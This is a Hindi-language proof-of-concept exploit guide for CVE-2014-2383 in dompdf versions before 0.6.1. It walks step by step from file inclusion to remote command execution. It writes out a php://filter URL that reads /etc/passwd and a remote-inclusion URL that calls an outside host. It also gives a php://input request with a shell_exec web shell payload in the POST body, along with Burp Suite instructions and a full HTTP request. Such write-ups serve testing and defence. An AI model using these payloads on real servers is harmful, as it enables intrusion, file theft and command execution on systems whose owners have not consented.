
CVE-2014-2383 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो dompdf <0.6.1 में LFI/RFI से RCE एस्केलेशन को प्रदर्शित करता है, साथ में चरण-दर-चरण पुनरुत्पादन गाइड और ऑटोमेशन स्क्रिप्ट।
परीक्षण वातावरण: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25
सुरक्षा मूल्यांकन के दौरान CVE-2014-2383 की उपस्थिति का पता चला। यह दस्तावेज़ एक प्रूफ ऑफ कॉन्सेप्ट है और ग्राहक की गोपनीयता की रक्षा के लिए इसमें प्रारंभिक खोज के विवरण शामिल नहीं हैं। हालाँकि, इस दस्तावेज़ की सामग्री उस वातावरण का अनुकरण करती है जिसमें इस कमजोरी का शोषण किया गया था।
खोज
https://github.com/projectdiscovery/nuclei

CVE-2014-2383 के विवरण
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
ध्यान दें कि लक्ष्य से /etc/passwd फ़ाइल को शामिल करने के लिए php://filter/resource PHP रैपर का उपयोग किया जा रहा है।
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

इस PHP रैपर ने न केवल स्थानीय फ़ाइल समावेशन बल्कि रिमोट फ़ाइलों को भी शामिल करने की अनुमति दी।
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com


अब तक हम इन कमजोरियों का शोषण करने के लिए ज्ञात जानकारी और प्रूफ ऑफ कॉन्सेप्ट का उपयोग कर रहे थे। इस कमजोरी के और शोषण के प्रयास में, मैंने PDF बनाने से पहले किसी प्रकार का "प्रीप्रोसेसिंग" प्राप्त करने के लिए अन्य प्रोटोकॉल और PHP फिल्टर का उपयोग किया।
इस LFI/RFI कमजोरी में एक महत्वपूर्ण अंतर यह था कि LFI में संदर्भित कोई भी फ़ाइल PDF दस्तावेज़ के रूप में रेंडर की जा रही थी। इसका मतलब यह होगा कि LFI के माध्यम से PHP फ़ाइल को रेंडर करने का प्रयास करने पर वह फ़ाइल केवल PDF में परिवर्तित हो जाएगी, न कि फ़ाइल में PHP को निष्पादित करेगी। अपने पेलोड को करीब से देखने पर हम देखेंगे कि php://filter/resource= हमारे पेलोड का वह हिस्सा है जो DOMPDF द्वारा लगाई गई प्रतिबंध को बायपास कर रहा है।
एक भिन्न PHP फिल्टर का उपयोग करके हम सर्वर को LFI निष्पादित करने से पहले POST अनुरोध को प्रीप्रोसेस करने में सक्षम होते हैं। हम अपने POST अनुरोध से कच्चा डेटा पढ़ने के लिए php://input इनपुट स्ट्रीम का उपयोग कर सकते हैं। इसके अलावा, हम उस कमांड के साथ एक पैरामीटर जोड़ सकते हैं जिसे हम निष्पादित करना चाहते हैं और इसे अपने POST डेटा में परिभाषित कर सकते हैं। तो हमारा नया पैरामीटर कुछ इस तरह दिखेगा php://input&cmd=id और हमारा POST डेटा इस तरह दिखेगा, <?php echo shell_exec($_GET[‘cmd’]);?>। इसका परिणाम नीचे दिया गया है।
एक बार जब आप DOMPDF का कोई संस्करण < 0.6.1 खोज लें, तो LFI पर ब्राउज़ करें।
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd
इस अनुरोध को BurpSuite जैसे प्रॉक्सी में कैप्चर करें।

अनुरोध को Repeater (ctrl+r) पर भेजें।

एक बार जब आपके पास Repeater में अनुरोध हो, तो अनुरोध पर राइट-क्लिक करें और "Change Request Method" चुनें।

input_file पैरामीटर को संशोधित करें:
From:
php://filter/resource=/etc/passwd
To:
php://input&cmd=whoami

POST अनुरोध के बॉडी में यह जोड़ें: (कभी-कभी सिंगल कोट्स को फिर से टाइप करने की आवश्यकता होती है)
<?php echo shell_exec($_GET['cmd']);?>

पूरा अनुरोध कुछ इस तरह दिखना चाहिए:
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
<?php echo shell_exec($_GET['cmd']);?>
यदि आप BurpSuite का उपयोग कर रहे हैं, तो अनुरोध भेजें और फिर "BT" खोजने के लिए सर्च बार का उपयोग करें।
ध्यान दें कि कमांड निष्पादित हो गया है और उत्तर को उत्पन्न होने वाली PDF के बाइट-स्तरीय डेटा में लिखा जा रहा है। (इस मामले में उपयोगकर्ता "daemon" है)

मैंने एक python स्क्रिप्ट तैयार की है जो इस अधिकांश कार्य को स्वचालित कर सकती है।

अस्वीकरण: यह केवल शैक्षिक उद्देश्यों के लिए है। कृपया दूसरों के वेब सर्वर को अकेला छोड़ें। 😄
यहाँ RCE के अनलिस्टेड वीडियो का लिंक है। Video